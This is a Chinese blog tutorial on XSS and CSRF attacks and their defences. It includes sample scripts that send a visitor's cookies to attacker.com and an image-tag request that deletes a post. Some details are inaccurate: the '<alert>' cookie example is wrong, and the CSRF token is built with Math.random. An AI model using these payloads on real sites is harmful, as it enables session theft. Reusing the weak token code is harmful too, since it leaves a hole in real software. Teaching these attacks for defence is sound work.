XSS攻击和CSRF攻击

一、XSS

XSS,即跨站脚本攻击。是值攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

比如在论坛上或者输入框内输入 "<alert>document.cookie</alert>"就可以拿到用户的cookie了,当你浏览到这段代码时。

定义

1.反射型XSS

反射型XSS发生在用户请求的URL或表单数据中包含恶意脚本,服务器将这些数据未经处理直接返回给用户浏览器,导致恶意脚本在用户浏览器中执行。

示例

假设有一个搜索功能,用户可以通过URL参数进行搜索。攻击者构造一个包含恶意脚本的URL并诱使用户点击

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>
<!-- 正常的搜索请求 -->
https://example.com/search?q=keyword

<!-- 恶意的搜索请求 -->
https://example.com/search?q=<script>alert('XSS');</script>

如果服务器没有对q参数进行适当的转义或过滤,返回的HTML可能如下:

<div>您搜索的关键字是 <script>alert('XSS');</script></div>

当用户访问这个URL时,浏览器会执行 <script>alert('XSS')</script>,弹出一个警告框

2. 存储型XSS

存储型XSS发生在用户输入的恶意脚本被存储在服务器上,然后在其他用户访问相关页面时,这些脚本被返回并执行。

示例

假设有一个论坛,用户可以发布帖子。攻击者在帖子中插入恶意脚本

<!-- 正常的帖子内容 -->
<p>This is a normal post.</p>

<!-- 恶意的帖子内容 -->
<p><script>alert('XSS');</script></p>

如果服务器没有对用户输入进行适当的转义或过滤,当其他用户查看这个帖子时,浏览器会执行<script>alert</script>,弹出一个警告框。

3.给予DOM

基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。

示例

假设有一个页面使用javascript动态设置了某个元素的内容:

<!-- 页面代码 -->
<div id="content"></div>
<script>
  var content = location.hash.slice(1);
  document.getElementById('content').innerHTML = content;
</script>

攻击者可以构造一个包含恶意脚本的URL并诱使用户点击:

<!-- 正常的 URL -->
https://example.com/#Hello

<!-- 恶意的 URL -->
https://example.com/#<script>alert('XSS');</script>

当用户访问这个URL时,js会将 <script>alert('XSS')</script>插入到div元素中,弹出一个警告框

更复杂的XSS攻击示例

盗取cookie

攻击者可以使用XSS注入脚本来盗取用户的Cookie: 

<!-- 恶意脚本 -->
<script>
  document.write('<img src="https://attacker.com/steal?cookie=' + document.cookie + '" />');
</script>

当用户访问包含此恶意脚本的页面时,浏览器会发送一个请求到攻击者的服务器,携带用户的cookie信息

会话劫持

攻击者可以使用XSS注入脚本来劫持用户的会话

<!-- 恶意脚本 -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ token: document.cookie })
  });
</script>

当用户访问包含此恶意脚本的页面时,浏览器会向攻击者的服务器发送一个POST请求,携带用户的会话令牌。

 

解决方法:

1. 设置httpOnly防止劫取cookie,设置了httpOnly为true的cookie,js就访问不到cookie了。

2. 输入验证和过滤。对用户输入的HTML内容进行转移,将特殊字符转换为HTML实体

function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

 

使用安全模板引擎:许多现代模板引擎(如react、vue等)都有内置的转义机制,可以自动转义用户输入

// React 示例
const userComment = "<script>alert('XSS');</script>";
return <div>{userComment}</div>; // 自动转义

3. 输出检查。用户的输入会存在问题,服务端的输出也会存在问题。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

这里思考一个问题,为什么输入检查了输出还需要检查呢?

  a、输入过滤有局限性

    a.1 过滤不完整:输入过滤可能遗漏某些特殊字符或编码方式,导致恶意脚本仍然能够注入

    a.2 上下文依赖: 不同的输出上下文(如html,js,css,url)需要不同的转义方式。输入过滤可能无法覆盖所有这些上下文

    a.3 第三方数据:输入数据可能来自多个源,包括数据库、外部API等,这些数据可能在输入时没有经历过充分的过滤。

 

 

二、CSRF

CSRF(跨站请求伪造),攻击者伪造用户的请求,利用用户在当前已登录的web应用程序中的身份执行非本意的操作。这种攻击利用了用户在目标网站上的身份验证状态,通常是在用户不知情的情况下发起的恶意请求。

示例1:删除帖子

假设有一个网站:http://www.c.com,当登录后的用户发起如下get请求时,会删除ID指定帖子:

http://www.c.com:8002/content/delete/:id

如发起http://www.c.com:8002/content/delete/123请求时,会删除id为123的帖子。当用户登录之后,会设置如下cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

user对应的值是用户ID,然后构造一个页面A:

<p>CSRF 攻击者准备的网站:</p>
<img src="http://www.c.com:8002/content/delete/123">

当访问攻击者的网站时,会向www.c.com发起一个删除用户帖子的请求。此时若用户在切换到www.c.com的帖子页面刷新,会发现ID为123的帖子已经被删除。

 

这里提一嘴cookie的标准行为,当浏览器向某个网站发送HTTP请求时,如果该网站之前设置了cookie,并且这些cookie的域和路径与请求匹配,那么浏览器会自动将这些cookie包含在http请求头中的cookie字段里。一些cookie的知识点 - 飞向火星 - 博客园 (cnblogs.com)

 

解决方法:

1. same site cookie属性:设置cookie的samesite属性为strict或lax,这个以防止跨站点请求携带cookie。这个属性专门用来防止CSRF攻击和用户追踪。

2. 使用CSRF令牌(也可以理解为csrf_token):其基本思想是在每个表单中包含一个随机生成的令牌,该令牌在服务端进行验证

生成和存储令牌:服务端为每个用户会话生成一个唯一的CSRF令牌,并将其存储在用户的会话或cookie中。

嵌入令牌:将CSRF令牌嵌入到所有表单中作为隐藏字段,以及AJAX请求中作为参数。

验证令牌:当表单提交或AJAX请求到达服务器时,服务器检查令牌是否与存储的令牌匹配。如果不匹配,则拒绝请求.

示例代码:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  <!-- 其他表单字段 -->
  <button type="submit">Submit</button>
</form>

在服务端

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');

const app = express();

// 使用 body-parser 来解析请求体
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());

// 配置 session 中间件
app.use(session({
  secret: 'your_secret_key', // 用于签名 session ID cookie 的密钥
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false } // 如果使用 HTTPS,则应设置为 true
}));

// 生成一个随机的 CSRF 令牌
function generateCSRFToken() {
  return Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
}

// 设置 CSRF 令牌到 session
app.get('/set-csrf-token', (req, res) => {
  req.session.csrf_token = generateCSRFToken();
  res.send({ csrf_token: req.session.csrf_token });
});

// 处理转账请求并验证 CSRF 令牌
app.post('/transfer', (req, res) => {
  const csrfTokenFromForm = req.body.csrf_token;
  const csrfTokenFromSession = req.session.csrf_token;

  if (csrfTokenFromForm !== csrfTokenFromSession) {
    return res.status(403).send("Invalid CSRF token");
  }

  // 在这里处理转账逻辑
  res.send("Transfer successful");
});

// 启动服务器
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`);
});

3.  验证HTTP请求头中的Origin和Referer

服务器可以通过检查HTTP请求头中的Origin和Referer字段来确定请求是否来自合法的来源。

Origin:表示请求的源地址

Referer:表示发起请求的页面的URL。

示例

from flask import request

@app.route('/transfer', methods=['POST'])
def transfer():
    origin = request.headers.get('Origin')
    referer = request.headers.get('Referer')
    
    if origin != 'https://example.com' or not referer.startswith('https://example.com'):
        return "Invalid request origin or referer", 403
    # 处理转账逻辑

 

posted @ 2024-09-28 13:50  飞向火星  阅读(105)  评论(0编辑  收藏  举报